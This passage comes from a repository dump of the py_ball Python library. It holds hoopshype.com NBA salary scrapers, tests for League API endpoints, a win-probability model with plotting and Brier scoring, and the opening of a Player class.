html_text.find('<a')\n total_val = html_text.find('class=\"name\">Totals</td>')\n\n while url_val < total_val:\n player_list = []\n option_list = []\n start_ind = html_text.find('<a')\n end_ind = html_text.find('</a>')\n play_key = html_text[start_ind + 2: end_ind]\n play_key = play_key[play_key.find('href=\"') + 6:play_key.find('\">\\n')]\n player_key = play_key.split('/')[-3]\n html_text = html_text[end_ind + 4:]\n for col_count in range(0, 2):\n start_ind = html_text.find(option_str) + len(option_str)\n end_ind = html_text.find('\" ')\n option = get_option(html_text[start_ind:end_ind])\n option_list.append(option)\n html_text = html_text[end_ind + 2:]\n\n start_ind = html_text.find(value_str) + len(value_str)\n end_ind = html_text.find('\">')\n try:\n salary_value = int(html_text[start_ind:end_ind])\n except:\n salary_value = 0\n player_list.append(salary_value)\n html_text = html_text[end_ind + 2:]\n\n player_list.append(play_key)\n player_salaries[player_key] = {}\n player_salaries[player_key]['salary'] = player_list\n player_salaries[player_key]['options'] = option_list\n\n total_val = html_text.find('class=\"name\">Totals</td>')\n url_val = html_text.find('<a')\n\n return player_salaries\n\n\ndef historical_team_salary_values(html_text, season):\n \"\"\" historical_team_salary_values returns a dictionary of\n salary information keyed by NBA team ID\n\n @param **html_text** (*str*): String of the HTML response\n from SALARY_URL + season\n @param **season** (*str*): String of season in YYYY-ZZZZ\n format\n\n Returns:\n\n **team_salaries** (*dict*): Dictionary keyed by NBA\n team ID with a list of yearly salaries (followed\n by team salary URL) as values\n \"\"\"\n value_str = 'data-value=\"'\n team_salaries = {}\n nba_teams = 30\n\n for teams in range(0, nba_teams):\n team_list = []\n start_ind = html_text.find('<a')\n end_ind = html_text.find('</a>')\n team_key = html_text[start_ind + 2: end_ind]\n team_key = team_key[team_key.find('href=\"') + 6:team_key.find('\">\\n')]\n html_text = html_text[end_ind + 4:]\n for col_count in range(0, 2):\n start_ind = html_text.find(value_str) + len(value_str)\n end_ind = html_text.find('\">')\n team_list.append(int(html_text[start_ind:end_ind]))\n html_text = html_text[end_ind + 2:]\n team_list.append(team_key)\n team_key = team_key.replace(season + '/', '')\n team_salaries[URL_TO_ID_NBA[team_key]] = team_list\n\n return team_salaries\n\n\ndef get_team_salary():\n \"\"\" This function pulls team salary information for six seasons\n from `hoopshype.com <https://hoopshype.com/salaries/>`\n\n Returns:\n\n **team_salaries** (*dict*): Dictionary keyed by NBA\n team ID with a list of yearly salaries (followed\n by team salary URL) as values\n\n **column_list** (*list*): List of column names for team\n salary information\n \"\"\"\n\n api_resp = get(SALARY_URL)\n html_text = api_resp.text\n sorted_str = 'hh-salaries-sorted'\n\n table_index = html_text.find(sorted_str)\n html_text = html_text[table_index:]\n html_text, column_list = salary_columns(html_text, 'current')\n column_list.append('url')\n\n team_salaries = team_salary_values(html_text)\n\n return team_salaries, column_list\n\n\ndef get_historical_team_salary(season):\n \"\"\" This function pulls historical team salary\n information for the given season \n from `hoopshype.com <https://hoopshype.com/salaries/>`\n\n @param **season** (*str*): Season in YYYY-ZZZZ format. For example,\n '2017-2018' corresponds to the 2017-2018 NBA season\n\n Returns:\n\n **team_salaries** (*dict*): Dictionary keyed by NBA\n team ID with yearly salaries and inflation-adjusted\n yearly salaries (followed by team salary URL) as values\n\n **column_list** (*list*): List of column names for historical team\n salary information\n \"\"\"\n\n api_resp = get(SALARY_URL + season)\n html_text = api_resp.text\n sorted_str = 'class=\"name\">Team</td>'\n\n table_index = html_text.find(sorted_str) + len(sorted_str)\n html_text = html_text[table_index:]\n html_text, column_list = salary_columns(html_text, 'historical')\n column_list.append('url')\n\n team_salaries = historical_team_salary_values(html_text, season)\n\n return team_salaries, column_list\n \n\ndef player_salary_values(html_text):\n \"\"\" player_salary_values returns a dictionary of\n salary information keyed by Hoopshype player ID\n\n @param **html_text** (*str*): String of the HTML response\n from a Hoopshype team URL\n\n Returns:\n\n **player_salaries** (*dict*): Dictionary keyed by Hoopshype\n player ID with a list of yearly salaries (followed\n by player salary URL) as values\n \"\"\"\n value_str = 'data-value=\"'\n option_str = 'style=\"'\n player_salaries = {}\n url_val = html_text.find('<a')\n total_val = html_text.find('class=\"name\">Totals</td>')\n\n while url_val < total_val:\n player_list = []\n option_list = []\n start_ind = html_text.find('<a')\n end_ind = html_text.find('</a>')\n play_key = html_text[start_ind + 2: end_ind]\n play_key = play_key[play_key.find('href=\"') + 6:play_key.find('\">\\n')]\n player_key = play_key.split('/')[-3]\n html_text = html_text[end_ind + 4:]\n for col_count in range(0, 6):\n start_ind = html_text.find(option_str) + len(option_str)\n end_ind = html_text.find('\" ')\n option = get_option(html_text[start_ind:end_ind])\n option_list.append(option)\n html_text = html_text[end_ind + 2:]\n\n start_ind = html_text.find(value_str) + len(value_str)\n end_ind = html_text.find('\">')\n try:\n salary_value = int(html_text[start_ind:end_ind])\n except:\n salary_value = 0\n player_list.append(salary_value)\n html_text = html_text[end_ind + 2:]\n\n player_list.append(play_key)\n player_salaries[player_key] = {}\n player_salaries[player_key]['salary'] = player_list\n player_salaries[player_key]['options'] = option_list\n\n total_val = html_text.find('class=\"name\">Totals</td>')\n url_val = html_text.find('<a')\n\n return player_salaries\n\n\ndef historical_player_salary_values(html_text):\n \"\"\" historical_player_salary_values returns a dictionary of\n salary information keyed by Hoopshype player ID\n\n @param **html_text** (*str*): String of the HTML response\n from a Hoopshype team URL\n\n Returns:\n\n **player_salaries** (*dict*): Dictionary keyed by Hoopshype\n player ID with a list of salary and inflation-adjusted\n salary (followed by player salary URL) as values\n \"\"\"\n value_str = 'data-value=\"'\n option_str = 'style=\"'\n player_salaries = {}\n url_val = html_text.find('<a')\n total_val = html_text.find('class=\"name\">Totals</td>')\n\n while url_val < total_val:\n player_list = []\n start_ind = html_text.find('<a')\n end_ind = html_text.find('</a>')\n play_key = html_text[start_ind + 2: end_ind]\n play_key = play_key[play_key.find('href=\"') + 6:play_key.find('\">\\n')]\n player_key = play_key.split('/')[-3]\n html_text = html_text[end_ind + 4:]\n for col_count in range(0, 2):\n start_ind = html_text.find(option_str) + len(option_str)\n end_ind = html_text.find('\" ')\n html_text = html_text[end_ind + 2:]\n\n start_ind = html_text.find(value_str) + len(value_str)\n end_ind = html_text.find('\">')\n try:\n salary_value = int(html_text[start_ind:end_ind])\n except:\n salary_value = 0\n player_list.append(salary_value)\n html_text = html_text[end_ind + 2:]\n\n player_list.append(play_key)\n player_salaries[player_key] = {}\n player_salaries[player_key]['salary'] = player_list\n\n total_val = html_text.find('class=\"name\">Totals</td>')\n url_val = html_text.find('<a')\n\n return player_salaries\n\n\ndef get_player_salary(team_url):\n \"\"\" This function pulls player salary information for six seasons\n from `hoopshype.com <https://hoopshype.com/salaries/>`\n\n @param team_url (str): String of URL corresponding\n to a single team's salary\n\n Returns:\n\n **player_salaries** (*dict*): Dictionary keyed by Hoopshype\n player ID with a list of yearly salaries as values\n\n **column_list** (*list*): List of column names for team\n salary information\n \"\"\"\n\n api_resp = get(team_url)\n html_text = api_resp.text\n sorted_str = 'hh-salaries-sorted'\n \n table_index = html_text.find(sorted_str)\n html_text = html_text[table_index:]\n html_text, column_list = salary_columns(html_text)\n column_list.append('url')\n\n player_salaries = player_salary_values(html_text)\n\n return player_salaries, column_list\n\n\ndef get_historical_player_salary(team_url, season):\n \"\"\" This function pulls historical player salary information for six seasons\n from `hoopshype.com <https://hoopshype.com/salaries/>`\n\n @param **team_url** (*str*): Hoopshype URL beginning with SALARY_URL\n appended with a season value. For example,\n 'https://hoopshype.com/salaries/dallas_mavericks/2017-2018/' is a valid\n **team_url**\n\n @param **season** (*str*): Season in YYYY-ZZZZ format. For example,\n '2017-2018' corresponds to the 2017-2018 NBA season\n Returns:\n\n **player_salaries** (*dict*): Dictionary keyed by Hoopshype\n player ID with a list of yearly salaries as values\n\n **column_list** (*list*): List of column names for team\n salary information\n \"\"\"\n\n api_resp = get(team_url)\n html_text = api_resp.text\n sorted_str = 'class=\"name\">Player</td>'\n \n table_index = html_text.find(sorted_str) + len(sorted_str)\n html_text = html_text[table_index:]\n html_text, column_list = salary_columns(html_text, season)\n column_list.append('url')\n\n player_salaries = historical_player_salary_values(html_text)\n\n return player_salaries, column_list\n \n\nclass TeamSalaries:\n \"\"\" The TeamSalaries class contains all resources needed\n to scrape team salary information from\n `hoopshype.com <https://hoopshype.com/salaries/>`.\n This class contains both team total salary as well as individual\n player breakdowns\n\n Attributes:\n\n **totals** (*dict*): Dictionary keyed by NBA\n team ID with a list of yearly salaries (followed\n by team salary URL) as values\n\n **totals_columns** (*list*): List of column names for team\n salary information\n\n **team_player_salaries** (*dict*): Dictionary keyed by both NBA\n team ID and Hoopshype player ID with values containing both\n salary and option information\n\n **team_player_columns** (*list*): List of column names for team-player\n salary information\n \"\"\"\n\n def __init__(self):\n\n # First, total team salary information is pulled\n team_salaries, column_list = get_team_salary()\n self.totals = team_salaries\n self.totals_columns = column_list\n team_player_salary = {}\n for team_id in team_salaries:\n team_url = team_salaries[team_id][-1]\n player_salaries, column_list = get_player_salary(team_url)\n team_player_salary[team_id] = player_salaries\n\n self.team_player_salaries = team_player_salary\n self.team_player_columns = column_list\n\n\nclass HistoricalSalaries:\n \"\"\" The HistoricalSalaries class contains all resources needed\n to scrape team salary information from\n `hoopshype.com <https://hoopshype.com/salaries/>` for a given season.\n This class contains both team total salary as well as individual\n player breakdowns\n\n @param **season** (*str*): String of season in YYYY-ZZZZ\n format\n\n Attributes:\n\n **totals** (*dict*): Dictionary keyed by NBA\n team ID with a list of salaries and inflation-adjusted salaries\n (followed by team salary URL) as values\n\n **totals_columns** (*list*): List of column names for historical team\n salary information\n\n **team_player_salaries** (*dict*): Dictionary keyed by both NBA\n team ID and Hoopshype player ID with values containing\n salary information\n\n **team_player_columns** (*list*): List of column names for historical\n team-player salary information\n \"\"\"\n\n def __init__(self, season='2022-2023'):\n\n # First, total team salary information is pulled\n team_salaries, column_list = get_historical_team_salary(season)\n self.totals = team_salaries\n self.totals_columns = column_list\n team_player_salary = {}\n for team_id in team_salaries:\n team_url = team_salaries[team_id][-1]\n player_salaries, column_list = get_historical_player_salary(team_url, season)\n team_player_salary[team_id] = player_salaries\n\n self.team_player_salaries = team_player_salary\n self.team_player_columns = column_list\n" }, { "alpha_fraction": 0.32399705052375793, "alphanum_fraction": 0.3296357989311218, "avg_line_length": 45.629310607910156, "blob_id": "66255acf87f1b009ad98f67bad86ce3c5df92a5a", "content_id": "a29b32e7a04dbdbedf3b5485d2ff45aa5cd7aded", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10818, "license_type": "permissive", "max_line_length": 80, "num_lines": 232, "path": "/py_ball/tests/test_league.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 22 14:37:05 2018\n\n@author: patrickmcfarlane\n\ntest_league.py\n\nThis function contains the tests for\nfunctions in the league.py file\n\"\"\"\n\nfrom .__init__ import HEADERS\nfrom ..league import League\n\ndef test_all_players():\n \"\"\" tests the commonallplayers endpoint of the League class\n \"\"\"\n\n example_league = League(headers=HEADERS)\n\n table_names = example_league.data.keys()\n\n assert 'CommonAllPlayers' in table_names\n\n example_players = example_league.data['CommonAllPlayers'][0]\n\n assert list(example_players.keys()) == ['PERSON_ID',\n 'DISPLAY_LAST_COMMA_FIRST',\n 'DISPLAY_FIRST_LAST',\n 'ROSTERSTATUS',\n 'FROM_YEAR',\n 'TO_YEAR',\n 'PLAYERCODE',\n 'TEAM_ID',\n 'TEAM_CITY',\n 'TEAM_NAME',\n 'TEAM_ABBREVIATION',\n 'TEAM_CODE',\n 'GAMES_PLAYED_FLAG']\n\ndef test_team_years():\n \"\"\" tests the commonteamyears endpoint of the League class\n \"\"\"\n\n example_league = League(headers=HEADERS, endpoint='commonteamyears')\n\n table_names = example_league.data.keys()\n\n assert 'TeamYears' in table_names\n\n example_teams = example_league.data['TeamYears'][0]\n\n assert list(example_teams.keys()) == ['LEAGUE_ID',\n 'TEAM_ID',\n 'MIN_YEAR',\n 'MAX_YEAR',\n 'ABBREVIATION']\n\ndef test_playoff_series():\n \"\"\" tests the commonplayoffseries endpoint of the League class\n \"\"\"\n\n example_league = League(headers=HEADERS, endpoint='commonplayoffseries')\n\n table_names = example_league.data.keys()\n\n assert 'PlayoffSeries' in table_names\n\n example_playoffs = example_league.data['PlayoffSeries'][0]\n\n assert list(example_playoffs.keys()) == ['GAME_ID',\n 'HOME_TEAM_ID',\n 'VISITOR_TEAM_ID',\n 'SERIES_ID',\n 'GAME_NUM']\ndef test_franchise_history():\n \"\"\" tests the franchisehistory endpoint of the League class\n \"\"\"\n\n example_league = League(headers=HEADERS, endpoint='franchisehistory')\n\n table_names = example_league.data.keys()\n\n assert 'FranchiseHistory' in table_names\n assert 'DefunctTeams' in table_names\n\n example_franchise = example_league.data['FranchiseHistory'][0]\n example_defunct = example_league.data['DefunctTeams'][0]\n\n assert list(example_franchise.keys()) == ['LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_CITY',\n 'TEAM_NAME',\n 'START_YEAR',\n 'END_YEAR',\n 'YEARS',\n 'GAMES',\n 'WINS',\n 'LOSSES',\n 'WIN_PCT',\n 'PO_APPEARANCES',\n 'DIV_TITLES',\n 'CONF_TITLES',\n 'LEAGUE_TITLES']\n\n assert list(example_defunct.keys()) == ['LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_CITY',\n 'TEAM_NAME',\n 'START_YEAR',\n 'END_YEAR',\n 'YEARS',\n 'GAMES',\n 'WINS',\n 'LOSSES',\n 'WIN_PCT',\n 'PO_APPEARANCES',\n 'DIV_TITLES',\n 'CONF_TITLES',\n 'LEAGUE_TITLES']\n\ndef test_playoff_picture():\n \"\"\" tests the playoffpicture endpoint of the League class\n \"\"\"\n\n example_league = League(headers=HEADERS, endpoint='playoffpicture')\n\n table_names = example_league.data.keys()\n\n assert 'EastConfPlayoffPicture' in table_names\n assert 'WestConfPlayoffPicture' in table_names\n assert 'EastConfStandings' in table_names\n assert 'WestConfStandings' in table_names\n assert 'EastConfRemainingGames' in table_names\n assert 'WestConfRemainingGames' in table_names\n\n example_east_pp = example_league.data['EastConfPlayoffPicture'][0]\n example_west_pp = example_league.data['WestConfPlayoffPicture'][0]\n example_east_stand = example_league.data['EastConfStandings'][0]\n example_west_stand = example_league.data['WestConfStandings'][0]\n example_east_rem = example_league.data['EastConfRemainingGames'][0]\n example_west_rem = example_league.data['WestConfRemainingGames'][0]\n\n assert list(example_east_pp.keys()) == ['CONFERENCE',\n 'HIGH_SEED_RANK',\n 'HIGH_SEED_TEAM',\n 'HIGH_SEED_TEAM_ID',\n 'LOW_SEED_RANK',\n 'LOW_SEED_TEAM',\n 'LOW_SEED_TEAM_ID',\n 'HIGH_SEED_SERIES_W',\n 'HIGH_SEED_SERIES_L',\n 'HIGH_SEED_SERIES_REMAINING_G',\n 'HIGH_SEED_SERIES_REMAINING_HOME_G',\n 'HIGH_SEED_SERIES_REMAINING_AWAY_G']\n\n assert list(example_west_pp.keys()) == ['CONFERENCE',\n 'HIGH_SEED_RANK',\n 'HIGH_SEED_TEAM',\n 'HIGH_SEED_TEAM_ID',\n 'LOW_SEED_RANK',\n 'LOW_SEED_TEAM',\n 'LOW_SEED_TEAM_ID',\n 'HIGH_SEED_SERIES_W',\n 'HIGH_SEED_SERIES_L',\n 'HIGH_SEED_SERIES_REMAINING_G',\n 'HIGH_SEED_SERIES_REMAINING_HOME_G',\n 'HIGH_SEED_SERIES_REMAINING_AWAY_G']\n\n assert list(example_east_stand.keys()) == ['CONFERENCE',\n 'RANK',\n 'TEAM',\n 'TEAM_ID',\n 'WINS',\n 'LOSSES',\n 'PCT',\n 'DIV',\n 'CONF',\n 'HOME',\n 'AWAY',\n 'GB',\n 'GR_OVER_500',\n 'GR_OVER_500_HOME',\n 'GR_OVER_500_AWAY',\n 'GR_UNDER_500',\n 'GR_UNDER_500_HOME',\n 'GR_UNDER_500_AWAY',\n 'RANKING_CRITERIA',\n 'CLINCHED_PLAYOFFS',\n 'CLINCHED_CONFERENCE',\n 'CLINCHED_DIVISION',\n 'ELIMINATED_PLAYOFFS',\n 'SOSA_REMAINING']\n\n assert list(example_west_stand.keys()) == ['CONFERENCE',\n 'RANK',\n 'TEAM',\n 'TEAM_ID',\n 'WINS',\n 'LOSSES',\n 'PCT',\n 'DIV',\n 'CONF',\n 'HOME',\n 'AWAY',\n 'GB',\n 'GR_OVER_500',\n 'GR_OVER_500_HOME',\n 'GR_OVER_500_AWAY',\n 'GR_UNDER_500',\n 'GR_UNDER_500_HOME',\n 'GR_UNDER_500_AWAY',\n 'RANKING_CRITERIA',\n 'CLINCHED_PLAYOFFS',\n 'CLINCHED_CONFERENCE',\n 'CLINCHED_DIVISION',\n 'ELIMINATED_PLAYOFFS',\n 'SOSA_REMAINING']\n\n assert list(example_east_rem.keys()) == ['TEAM',\n 'TEAM_ID',\n 'REMAINING_G',\n 'REMAINING_HOME_G',\n 'REMAINING_AWAY_G']\n\n assert list(example_west_rem.keys()) == ['TEAM',\n 'TEAM_ID',\n 'REMAINING_G',\n 'REMAINING_HOME_G',\n 'REMAINING_AWAY_G']\n" }, { "alpha_fraction": 0.5734228491783142, "alphanum_fraction": 0.5867845416069031, "avg_line_length": 34.053611755371094, "blob_id": "5784c855429825da2e0ce1df4f49945b9e3df047", "content_id": "29a2b54b7a61988c993c851d24b343e20882f416", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15043, "license_type": "permissive", "max_line_length": 93, "num_lines": 429, "path": "/py_ball/winprobability.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 21 19:59:39 2020\n\n@author: Avyay Varadarajan\n\nwinprobability.py contains the WinProbability class that\ncalculates win probability from play-by-play data for\nNBA games\n\"\"\"\n\nimport json\nfrom .utils import get_seconds_left, open_model\nfrom . import playbyplay, boxscore, team\nimport matplotlib.pyplot as plt\n\n\ndef discern_possession_and_margin(event, current_margin, home_has_ball):\n \"\"\" This function determines whether\n or not the home team has the ball\n\n @param event (pd.Series): pandas Series\n containing a row from a play-by-play\n DataFrame\n @param current_margin (int): Current score margin\n relative to the home team\n @param home_has_ball (bool): True if the home\n team has possession, False otherwise\n\n Returns:\n\n home_has_ball (bool): True if the home\n team has possession, False otherwise\n current_margin (int): Current score margin\n relative to the home team\n \"\"\"\n\n # Determine possession\n home_desc = (event['HOMEDESCRIPTION'] != None)\n visitor_desc = (event['VISITORDESCRIPTION'] != None)\n\n if home_desc and not visitor_desc:\n home_has_ball = True\n elif visitor_desc and not home_desc:\n home_has_ball = False\n elif home_desc and visitor_desc:\n if ('STEAL' in event['HOMEDESCRIPTION']) \\\n or ('BLOCK' in event['HOMEDESCRIPTION']):\n home_has_ball = True\n else:\n home_has_ball = False\n\n # Determine score margin\n if event['SCOREMARGIN'] != None:\n current_margin = 0\n if event['SCOREMARGIN'] != 'TIE':\n current_margin = (int(event['SCOREMARGIN']))\n\n return home_has_ball, current_margin\n\n\ndef get_team_abr(headers, game_id):\n \"\"\" This function pulls the name\n abbreviations for the home and away teams\n\n @param headers (dict): Dictionary of request\n header information required by the API\n @param game_id (str): 10-digit string that\n represents a unique game\n\n Returns:\n\n - team_abr (list): List of team abbreviations\n with the home team in the first index and\n the away team in the second index\n \"\"\"\n\n bxscore = boxscore.BoxScore(headers=headers,\n game_id=game_id,\n endpoint='boxscoresummaryv2').data\n\n game_summary = (bxscore['GameSummary'])[0]\n home_team_id = game_summary['HOME_TEAM_ID']\n visitor_team_id = game_summary['VISITOR_TEAM_ID']\n\n home_team_data = team.Team(headers=headers,\n endpoint='teaminfocommon',\n team_id=home_team_id).data\n visitor_team_data = team.Team(headers=headers,\n endpoint='teaminfocommon',\n team_id=visitor_team_id).data\n\n home = home_team_data['TeamInfoCommon'][0]['TEAM_ABBREVIATION']\n away = visitor_team_data['TeamInfoCommon'][0]['TEAM_ABBREVIATION']\n\n team_abr = [home, away]\n\n return team_abr\n\n\ndef plot_win_prob(times, diff, end_lim, probs, team_abr, bools):\n \"\"\" This function plots the win probability and\n score differential for the game\n\n @param times (list): list containing actual_times\n and times. times contains all of the times at\n which win probability was calculated\n @param diff (list): List of score differentials\n corresponding to all times in actual_times\n @param end_lim (int): Time at which the last win\n probability value is calculated\n @param probs (list): List of win probability\n lists (probs_home and probs_away). probs_home\n contains all of the home win probability\n values for all times in the times list.\n probs_away is the same, but for win probability\n for the away team\n @param team_abr (list): List contraining the\n home team abbreviation in the first index\n and the away team abbreviation in the\n second index\n @param bools (list): List of booleans controlling\n which figures are plotted\n\n Returns:\n\n - fig (matplotlib.figure.Figure): Figure\n containing score differential and/or\n win probability. None if all of the\n booleans are False\n \"\"\"\n\n actual_times, times = times\n probs_home, probs_away = probs\n plot_diff, plot_home, plot_away = bools\n\n plt.rcParams[\"figure.figsize\"] = (20,6)\n\n # Score differential\n if plot_diff:\n fig, pltting = \\\n plot_score_differential(actual_times,\n diff,\n end_lim)\n else:\n fig,ax = plt.subplots()\n pltting = ax \n\n # Quarter deliniation\n for normal_q in range(0,4):\n pltting.plot([2880-normal_q*12*60, 2880-normal_q*12*60],\n [0,1], 'gray')\n\n # OT deliniation\n for ot in range(0,10):\n pltting.plot([-ot*5*60, -ot*5*60],\n [0,1], 'gray')\n\n # Win probability\n if plot_home:\n pltting.plot(times, probs_home, 'blue', label=team_abr[0])\n if plot_away:\n pltting.plot(times, probs_away, 'orange', label=team_abr[-1])\n \n pltting.set_xlim(2880, end_lim)\n pltting.set_ylim(0.0, 1.0)\n pltting.set_title(\"Win Probability\")\n plt.legend(loc='best')\n plt.show()\n\n return fig\n\n\ndef plot_score_differential(actual_times, diff, end_lim):\n \"\"\" This function plots the score differential\n throughout the game\n\n @param actualtimes (list): list that contains\n all of the times at which a score\n differential was calculated\n @param diff (list): List of score differentials\n corresponding to all times in actual_times\n @param end_lim (int): Time at which the last win\n probability value is calculated\n\n Returns:\n\n - fig (matplotlib.figure.Figure): Figure\n containing the score differential\n - ax (matplotlib.axes): Axis object\n \"\"\"\n\n fig, ax = plt.subplots(1,2)\n ax[0].set_title(\"Point Differential\")\n ax[0].plot(actual_times, diff)\n ax[0].set_xlim(2880, end_lim)\n for normal_q in range(0,4):\n ax[0].plot([2880-normal_q*12*60, 2880-normal_q*12*60], [min(diff),max(diff)], 'gray')\n for ot in range(0,10):\n ax[0].plot([-ot*5*60, -ot*5*60], [min(diff),max(diff)], 'gray')\n ax[0].set_ylim(min(diff), max(diff))\n pltting = ax[1]\n\n return fig, pltting\n\n\ndef organize_probabilities(probs, times, diff):\n \"\"\" This function organizes the predicted\n win probability into a form more amenable\n to visualization\n\n @param probs (list): list of win probability\n values relative to the home team\n @param times (list): list of times at which\n the win probability values are calculated\n @param diff (list): list of score differentials\n relative to the home team\n\n Returns:\n\n - times (list): list of times at which\n the win probability values are calculated\n - probs_home (list): list of win probability\n values relative to the home team\n - probs_away (list): list of win probability\n values relative to the away team\n \"\"\"\n\n probs_home = [0.5] + probs\n probs_away = [1 - x for x in probs_home]\n\n times, probs_home, probs_away = zip(*sorted(zip(times, probs_home, probs_away)))\n probs_home = list(probs_home)\n probs_away = list(probs_away)\n times = list(times)\n\n home_won = int(diff[-1]>0)\n probs_home[0] = float(home_won)\n probs_away[0] = float(1-home_won)\n\n return times, probs_home, probs_away\n\n\nclass WinProbability:\n \"\"\" The WinProbability class contains all resources needed\n to compute win probability for an NBA game\n\n The WinProbability class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **game_id** (*str*): GameID in the API. 10-digit string \\\n that represents a unique game. The format is two leading zeroes, \\\n followed by a season indicator number ('1' for preseason, \\\n '2' for regular season, '4' for the post-season), \\\n then the trailing digits of the season in which the game \\\n took place (e.g. '17' for the 2017-18 season). The following \\\n 5 digits increment from '00001' in order as the season progresses. \\\n For example, '0021600001' is the **game_id** of the first game \\\n of the 2016-17 NBA regular season.\n \"\"\"\n def __init__(self, game_id, headers):\n \"\"\" Initializing object\n \"\"\"\n self.game_id = game_id\n self.model = open_model()\n self.test_data = self.get_test(game_id, headers)\n self.home_win_probability = []\n self.home_won = 0\n\n def get_test(self, game_id, headers):\n \"\"\" This function pulls play-by-play and\n boxscore data to organize them in a format\n needed by the win probability model\n\n Returns:\n\n - game_x (dict): Dictionary keyed by three-second\n intervals with values of lists containing\n the current score margin and possession\n - times (list): List of keys in the game_x\n dictionary\n - diff (list): List of score margins for each\n play\n - actual_times (list): List of game times for\n each play\n - team_abr (list): List of team abbreviations\n with the home team in the first index and\n the away team in the second index\n \"\"\"\n\n diff = []\n pbp = playbyplay.PlayByPlay(headers=headers, game_id=game_id).data\n team_abr = get_team_abr(headers, game_id)\n\n # Initializing game parameters\n jump_event = pbp['PlayByPlay'][1]\n home_has_ball = (jump_event['HOMEDESCRIPTION'] != None)\n current_quarter = 1\n current_margin = 0\n home_wins = int(pbp['PlayByPlay'][-1]['SCOREMARGIN']) > 0\n last_second = 2880\n game_x = {}\n actual_times = []\n added_this_game = []\n\n for event in pbp['PlayByPlay'][2:]:\n\n # This section covers the period of time between the last play\n # and this play. If any time period in that range qualifies for\n # inclusion (i.e. 3 second intervals), it is added to game_x\n seconds_left_in_game = get_seconds_left(event['PERIOD'], event['PCTIMESTRING'])\n for sec in range(seconds_left_in_game+1, last_second):\n if sec % 3 == 0 and (sec not in added_this_game):\n game_x[sec] = [current_margin,\n home_has_ball]\n added_this_game.append(sec)\n\n # This section covers the current play\n last_second = seconds_left_in_game\n home_has_ball, current_margin = \\\n discern_possession_and_margin(event,\n current_margin,\n home_has_ball)\n\n if seconds_left_in_game % 3 == 0 and seconds_left_in_game not in added_this_game:\n game_x[seconds_left_in_game] = [current_margin,\n home_has_ball]\n added_this_game.append(int(seconds_left_in_game))\n\n times = (list(game_x.keys()))\n diff.append(current_margin)\n actual_times.append(seconds_left_in_game)\n\n return game_x, times, diff, actual_times, team_abr\n\n\n def probs(self, plot_home=True, plot_away=False, plot_diff=False, get_values=False):\n \"\"\" This function calculates the win probability throughout\n a game and plots the resulting win probability chart\n\n @param plot_home (bool): If True, the win probability\n of the home team is plotted\n @param plot_away (bool): If True, the win probability\n of the away team is plotted\n @param plot_diff (bool): If True, the point differential\n is plotted\n @param get_values (bool): This controls whether or not\n the win probability and associated objects are returned\n\n Results:\n\n If get_values == True:\n\n - times (list): List of times for which win probability\n is calculated\n - probs_home (list): List of win probability of the home\n team\n - probs_away (list): List of win probability of the away\n team\n - team_abr (list): List of team abbreviations\n with the home team in the first index and\n the away team in the second index\n \"\"\"\n test_x, times, diff, actual_times, team_abr = self.test_data\n times = [2880] + times\n probs = []\n for time in times[1:]:\n training_key = time\n if training_key < 0:\n for ot in range(0,10):\n if (ot*5*60)+training_key > 0:\n training_key = (ot*5*60)+training_key\n break\n time_prob = self.model[training_key].predict_proba([test_x[time]])[0][1]\n probs.append(time_prob)\n \n times, probs_home, probs_away = \\\n organize_probabilities(probs, times, diff)\n \n end_lim = 2880-(len(probs_home)*3)\n\n if plot_home or plot_away:\n \n fig = plot_win_prob([actual_times, times],\n diff,\n end_lim,\n [probs_home, probs_away],\n team_abr,\n [plot_diff, plot_home, plot_away])\n else:\n fig = None\n\n self.home_win_probability = probs_home\n self.home_won = int(diff[-1]>0)\n times.reverse()\n probs_home.reverse()\n probs_away.reverse()\n if get_values:\n return times, probs_home, probs_away, team_abr\n\n return fig\n\n def brier_score(self):\n \"\"\" This function calculates the Brier score\n for the game\n\n Returns:\n\n - brier_score (float): Brier score for\n the game\n \"\"\"\n if len(self.home_win_probability) == 0:\n self.probs(plot_home=False)\n\n size_of_arr = len(self.home_win_probability)\n cum_brier_score = 0\n for ind_prob in self.home_win_probability:\n cum_brier_score += (self.home_won-ind_prob)**2\n\n brier_score = cum_brier_score/size_of_arr \n return brier_score \n" }, { "alpha_fraction": 0.5619655847549438, "alphanum_fraction": 0.5747913718223572, "avg_line_length": 47.17369842529297, "blob_id": "109df4c7d921f3ca31ae52e1c85dff702bd0fc96", "content_id": "6222f56930dff4bebbc78ee6be916b2a59490bc4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19414, "license_type": "permissive", "max_line_length": 83, "num_lines": 403, "path": "/py_ball/player.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 16 18:47:46 2018\n\n@author: patrickmcfarlane\n\nplayer.py contains the Player class that\nenables API calls for player-related\nendpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass Player:\n \"\"\" The Player class contains all resources needed\n to use the player-related API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following player performance stats related API endpoints:\n\n - **playercareerstats**: Season and career stats for a given player, \\\n broken down by season type (including college).\n - **playercompare**: Individual and combined (overall) statistics \\\n for a given list of players and opposing players.\n - **playerdashboardbyclutch**: Traditional and rank statistics broken \\\n down by different definitions of clutch for a player.\n - **playerdashboardbygamesplits**: Traditional and rank statistics \\\n broken down by different splits (half, quarter, and score \\\n differential).\n - **playerdashboardbygeneralsplits**: Traditional and rank statistics \\\n broken down by different splits (win/loss, location, month, \\\n pre/post All-Star, days 